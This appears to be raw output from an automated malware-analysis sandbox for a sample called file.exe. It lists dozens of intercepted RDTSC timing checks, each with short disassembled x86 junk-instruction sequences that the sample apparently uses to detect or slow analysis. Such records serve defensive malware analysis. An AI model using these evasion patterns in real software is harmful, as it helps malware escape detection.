Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E281 second address: 91E287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E3F4 second address: 91E3FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E3FA second address: 91E417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15714A7BB9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E542 second address: 91E546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E546 second address: 91E558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007F15714A7BA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F560 second address: 91F5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1570C67156h 0x0000000a popad 0x0000000b jng 00007F1570C67167h 0x00000011 jmp 00007F1570C67166h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1570C67167h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F5B1 second address: 91F5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F5B5 second address: 91F5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9242FC second address: 924301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872CCE second address: 872CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F1570C67163h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872CEA second address: 872D1B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15714A7BB6h 0x00000011 jmp 00007F15714A7BAFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872D1B second address: 872D46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1570C67164h 0x0000000e jnc 00007F1570C6715Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9273B3 second address: 9273B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926F7D second address: 926F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926F82 second address: 926F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F15714A7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926F8C second address: 926FBB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1570C67156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jno 00007F1570C67156h 0x00000016 jmp 00007F1570C67164h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926FBB second address: 926FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926FBF second address: 926FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9270E9 second address: 9270FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F15714A7BA6h 0x0000000f jng 00007F15714A7BA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9333F3 second address: 9333F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C4D second address: 935C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007F15714A7BA6h 0x00000013 jl 00007F15714A7BA6h 0x00000019 popad 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C6F second address: 935C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935C75 second address: 935C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94536F second address: 945380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1570C67156h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945380 second address: 9453AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F15714A7BA6h 0x0000000a jmp 00007F15714A7BAAh 0x0000000f popad 0x00000010 jmp 00007F15714A7BB9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9453AE second address: 9453BE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1570C67162h 0x00000008 jng 00007F1570C67156h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C254 second address: 86C260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jno 00007F15714A7BA6h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9451E4 second address: 9451EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9451EA second address: 9451EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C46A second address: 94C474 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C474 second address: 94C484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F15714A7BA6h 0x0000000a jnp 00007F15714A7BA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F7B5 second address: 94F7BF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F7BF second address: 94F7C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F7C5 second address: 94F7CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F7CB second address: 94F7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A99C second address: 95A9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95A9A7 second address: 95A9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960C8B second address: 960C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1570C67156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E160 second address: 96E16A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F15714A7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E028 second address: 96E02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E02C second address: 96E03C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BACh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9719B8 second address: 9719BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9719BE second address: 9719C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9719C3 second address: 9719DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F1570C67156h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jnl 00007F1570C67156h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97154D second address: 971551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971551 second address: 97157C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F1570C67156h 0x0000000d jmp 00007F1570C6715Bh 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F1570C67158h 0x00000020 push edi 0x00000021 pop edi 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97157C second address: 971582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971582 second address: 971587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971587 second address: 971593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F15714A7BA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9716E4 second address: 9716F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F1570C67156h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AB2F second address: 98AB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007F15714A7BB3h 0x0000000c push eax 0x0000000d jc 00007F15714A7BA6h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AB55 second address: 98AB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9899C7 second address: 9899CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9899CD second address: 9899D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9899D3 second address: 989A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAEh 0x00000007 ja 00007F15714A7BA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F15714A7BF1h 0x00000017 pushad 0x00000018 jmp 00007F15714A7BB3h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989A0B second address: 989A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989A11 second address: 989A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989A1A second address: 989A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989A20 second address: 989A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989CE9 second address: 989CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989CEF second address: 989CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989CF3 second address: 989CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989CFB second address: 989D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989D01 second address: 989D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989E85 second address: 989E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A19B second address: 98A1AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F1570C67156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F1570C67156h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A1AF second address: 98A1C3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c jp 00007F15714A7BACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A1C3 second address: 98A1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67167h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A1E4 second address: 98A1EE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15714A7BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A362 second address: 98A38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jno 00007F1570C6716Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A38D second address: 98A392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EF63 second address: 98EFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 mov dword ptr [esp], eax 0x0000000b xor dword ptr [ebp+12470922h], edx 0x00000011 push 00000004h 0x00000013 mov edx, dword ptr [ebp+122D1A20h] 0x00000019 call 00007F1570C67159h 0x0000001e pushad 0x0000001f push ecx 0x00000020 jmp 00007F1570C6715Fh 0x00000025 pop ecx 0x00000026 jbe 00007F1570C6716Ch 0x0000002c jmp 00007F1570C67166h 0x00000031 popad 0x00000032 push eax 0x00000033 ja 00007F1570C6716Bh 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d push eax 0x0000003e push edx 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EFD9 second address: 98EFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EFDE second address: 98EFE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990A2E second address: 990A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F15714A7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990A38 second address: 990A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1570C67168h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9905D9 second address: 9905ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99253E second address: 992563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F1570C67164h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007F1570C67156h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992563 second address: 992575 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F15714A7BA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0E17 second address: 50C0E4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1570C67162h 0x00000015 add eax, 63F2C2D8h 0x0000001b jmp 00007F1570C6715Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0E4C second address: 50C0ED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop ecx 0x0000000e mov ax, bx 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F15714A7BB5h 0x00000018 adc cl, FFFFFFD6h 0x0000001b jmp 00007F15714A7BB1h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F15714A7BAEh 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b mov eax, 5F3E3F0Dh 0x00000030 pushfd 0x00000031 jmp 00007F15714A7BAAh 0x00000036 and si, 0928h 0x0000003b jmp 00007F15714A7BABh 0x00000040 popfd 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0ED9 second address: 50C0EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EDD second address: 50C0EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EF8 second address: 50C0F2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1570C6715Fh 0x00000009 xor ah, FFFFFFCEh 0x0000000c jmp 00007F1570C67169h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00E6 second address: 50A00EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00EC second address: 50A00F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00F0 second address: 50A013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15714A7BB7h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F15714A7BB6h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007F15714A7BADh 0x0000001e pop ecx 0x0000001f mov bh, 00h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A013D second address: 50A0142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0142 second address: 50A0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15714A7BAFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push dword ptr [ebp+04h] 0x0000000f jmp 00007F15714A7BB6h 0x00000014 push dword ptr [ebp+0Ch] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0BD9 second address: 50C0BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0BDF second address: 50C0BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C077E second address: 50C0787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, D8C5h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0787 second address: 50C078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C078C second address: 50C07F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1570C6715Fh 0x00000012 xor ax, 606Eh 0x00000017 jmp 00007F1570C67169h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F1570C67160h 0x00000023 sbb cx, 2BE8h 0x00000028 jmp 00007F1570C6715Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07F2 second address: 50C07F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
